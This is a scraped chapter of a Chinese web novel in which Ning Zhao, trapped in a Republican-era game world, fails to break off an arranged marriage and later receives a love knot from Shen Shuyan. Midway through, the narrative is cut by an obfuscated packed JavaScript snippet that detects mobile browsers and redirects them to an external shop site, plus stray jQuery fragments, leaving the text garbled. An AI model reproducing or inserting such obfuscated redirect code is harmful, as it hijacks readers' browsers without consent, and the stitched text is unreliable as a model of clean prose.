听到有人唤这个名字,宁昭先是一愣。随后她想起自己现在就叫宁晦,她转头,看到一个穿着学生制服的女生。
“你怎么会在这里?”
女生看到宁昭,眸中满是惊讶:“我以为你被你妈困在家里哪都去不了。”
“我有点事。”
面对不熟悉的陌生人,宁昭三缄其口,并没有暴露身份,也没多说什么。
“有什么事?既然能出来的话,为什么不来上学啊?”
她手中提着一个皮包,确实是刚下课的模样。
“上学?”
“对啊,你都一个月没来了。我们去问老师,她什么都没说,我们还担心了很久。”
看到宁昭安然无恙的模样,女生松了口气。
“我没事,小汐。”
看到女生名牌上“柳叶学堂夏汐”几个字,宁昭不动声色收回视线:“我还有事,先不说了。”
这是一个线索,但她还有更重要的事情去做。
“小晦——”
夏汐见状还想说些什么,宁昭却已转身离开。
跑到喧闹的主街道,她停下步伐,终于有空去打量这个“柳叶镇”。
入目大多是西式小洋楼,虽石柱墙壁上多有欧式雕花,但也不失中式建筑的风韵。
加上街上大多数男性都穿着中山装,女性则身着旗袍或长裙,宁昭很容易就能判断出,她来到了民国时期的中国。
这个年代算不得安稳,人们的思想也大多还未开化。就算已经有了先进的知识分子,也很难保证时代的春风已经吹到了这个算不上大的小镇。
所以,纵使没结过婚,宁昭也知道,想靠一己之力退婚谈何容易。
李秀丽那条路是万万走不通的,只有到柳家下功夫才行。
于是她四处问了问,大概得知柳家的方位,只稍稍拐了几个弯就看到了柳家的牌匾,而后是一幢比宁宅更气派的古宅。
敲响大门,许久才有人来应声。
来开门的是个穿着灰色长袍的老人,看到宁昭,他明显一愣:“宁小姐,您怎么来了?”
“我……想见柳衡。”
听到这话,老人眉间划过一丝为难:“宁小姐,下周就是婚礼,您这样不合礼数。”
“我有很重要的事情找他!”
宁昭的表情十万火急,眸中带着哀求:“事关婚礼,我实在没办法了。”
见她苦苦哀求,老人到底心软。他打开门:“宁小姐,您随我来。”
老人转身领她往里面走,宁昭见状松了口气。
“宁小姐,虽然不知道出了什么事,但如果二少爷知道你来找他,他会很高兴的。”
虽然明面上说着不合规矩,但老人的状态看着却轻松了许多:“他……”
说到这里,他欲言又止。
“发生什么了?”
直觉告诉她有事发生。
“没事。”
“……嗯。”
柳家的条件确实要比宁家好上许多。起码,从进柳府开始,她看到的柳家装修就比宁家更奢华。
虽然已经是民国时期,但这里却仍保留着清朝时的古朴气息,一看就是历史悠久的大户人家,而宁昭跟在老者身后,走了许久才到达最里面的一个幽深的小院子。
“宁小姐,请您就在二少爷房间的门口说话,不要进去。”
看着深幽的石子路和这别致的小庭院,宁昭应了一声,轻手轻脚地往里走。
院子里种着翠绿的竹子,它们郁郁葱葱、婆娑摇曳,每一颗都焕发着蓬勃的生命力,哪怕是在这阴天下,也如翡翠一般颜色鲜明。
走到最里面,出现一扇红色的檀木门。
宁昭在门口站定,小心翼翼地出声:“柳、柳二少爷,你在吗?”
里面没有声音。
她敲了敲门,再次出声:“柳衡?”
“小晦吗?”
忽然,内屋传来一道喑哑的男声:“你来了?”
“是,我有事找你……”
不知为何,宁昭觉得这柳衡的声音有些虚弱,听起来好像生病了。
内室传来低低的笑声:“什么事?抱歉,我病了,怕传染给你,只能辛苦你站在外面说。”
他的声音很温和,像一杯寡淡的白开水,但宁昭却能听出他在刻意将语气放得缓和。
听起来并不难缠。
“……我可以退婚吗。”
思忖片刻,宁昭还是问出口。与其拐弯抹角说那么多有的没的,还不如直接说。
“……”
听到这话,房间里面沉默了。
也不知道究竟沉默多久,房里发出一道无奈的喟叹:“抱歉,如果你是为了这件事而来,我不能答应你。”
“今天早上,柳家送到宁家的彩礼被偷走了。”
宁昭深吸一口气:“妈妈怀疑是我偷的,动手打我。我很委屈,所以才来找你。”
回应她的只有沉默。
“就是因为这件事,你才想退婚吗?”
不久,柳衡再次出声:“小事。我让秦叔再送一份过去就是了。”
……?
那么多金首饰,说送就送,这也太有实力了吧。
“我不是来跟你要钱的——”
回过神,宁昭赶紧说:“被偷走的彩礼我会还给你,我知道这事情跟我妈说了没用,所以我才来找你……”
“小晦,很抱歉。这件事,我无论如何都不会答应你。”
他的语调里含着歉意,明明是温柔的声音,却说出了这样生硬的话:“婚期不会改变,你回去吧。”
“……如果这个婚退不掉,我会死的。”
宁昭试图卖惨,但她忘了,不是任何人都是沈书言。
“你不会死的,回去吧。”
本以为最好说话的柳衡能解决退婚的事,但他坚定的语气却让宁昭意识到,这是最行不通的一条路。
“小晦,你站在我门口不走,我也不会松……咳咳……”
说到这里,房内传来剧烈的咳嗽声。
秦叔闻声进来,面带抱歉:“宁小姐,请回吧。”
人都咳成这样了,再杵在这里也无济于事。
从不做无用功的宁昭又看了一眼房门:“不用再送多一份彩礼,我会找回来。”
要是再要一份,成什么人了。
接下来响起的,便只有断断续续的咳嗽声,再无其他。
原路返回,离开柳宅后,她又回头看了眼牌匾,心中是深深的乏力。
事情没有解决,看起来似乎也没有转圜的余地,但是宁昭还不想回去。
柳叶镇是个静谧安定的小镇,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203776|135126||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
繁华的街头人来人往,有来来去去的黄包车,时不时还能看见路边的小摊,有卖馄饨的,也有卖包子的。
香气飘进鼻子,从进入副本开始就没进食的宁昭终于饿了。
她走到一家馄饨摊旁坐下,朝老板叫了一声:“老板,一碗馄饨,不要香菜。”
“好嘞——”
老板声音洪亮,隔老远都能听到他的声音。
一碗热气腾腾的馄饨很快就被端上来。宁昭咬了一口,鲜美的肉馅包裹汤汁在嘴里绽开,实在是满足。
“那柳家大门最近怎么总关得死死的。”
耳边忽然传来窸窸窣窣的说话声
听到“柳家”这个词,宁昭的耳朵条件反射地竖了起来。她不动声色,朝旁边挪了挪位置,这样就能听得更清楚些。
“不知道啊,说是柳二少爷病得很重,不开门怕过了病气。”
“好像是肺出了问题?其实这种病,有钱就慢慢养着,不会出太大问题。就是可怜了要跟他结婚的姑娘,一嫁过去就要守活寡。”
“我听说好像是城北李寡妇家的姑娘。”
“哟,李寡妇?她家姑娘可太漂亮了,会愿意嫁给一个病秧子?”
“当然不是漂亮的那个,是丑的那个……说结婚也是为了冲喜。”
听完,宁昭也沉默了。
看来宁晦确实处处不遭人待见,连结婚这种人生大事都是为了给大户人家的少爷冲喜。
想也不用想就知道是李秀丽把她给卖了。
吃顿馄饨的功夫,宁昭就已经把事情的前因后果给摸出来了。
既然是为了给柳衡冲喜,那这个婚能顺利退掉的概率就变得更低了。
吃完饭,宁昭在街上漫无目的地走。路边有卖各种小物件的摊子,一路看下来,卖得最多的是香囊和手帕。
都是些女孩子喜欢的物件,她看得眼花缭乱,走了许久才想起来,今天好像是七夕。
小摊旁时不时有男生停留,从架子上众多花色的香囊中挑出一个漂亮的,带着笑意把它买下。
观察了许久,宁昭竟也有些入了迷。
“你也想要?”
耳畔忽然传来男声。
宁昭被吓了一跳,抬头才发现说话的人是沈书言。
“你怎么在这……”
看到沈书言,宁昭比看见亲人还亲切:“你竟然可以出来?”
“我为什么不可以?”
说着,沈书言张开五指,从他的指缝中落下一枚红色的同心结:“今天是乞巧节。”
看到制作精巧的同心结,宁昭瞳孔地震。
“你……”
你知道在七夕送女生同心结是什么意思吗?
“不喜欢?”
见宁昭迟迟没有回应,沈书言作势要把东西收起来:“那我就自己留着。”
“谁说我不喜欢。”
宁昭赶紧接过来,将它捏在指尖,去看它的样式。
用锦带编制的结子紧紧扣在一起,像两只翩翩飞舞的蝴蝶,灵巧又美丽。
同心结,同心结。永结同心。
心底流淌过暖意,宁昭耳尖泛红。她看向沈书言,却发现他的表情很淡定。
不知为何,看着沈书言的脸,宁昭忽然很想说些什么。
“如果我们能活着通关的话……”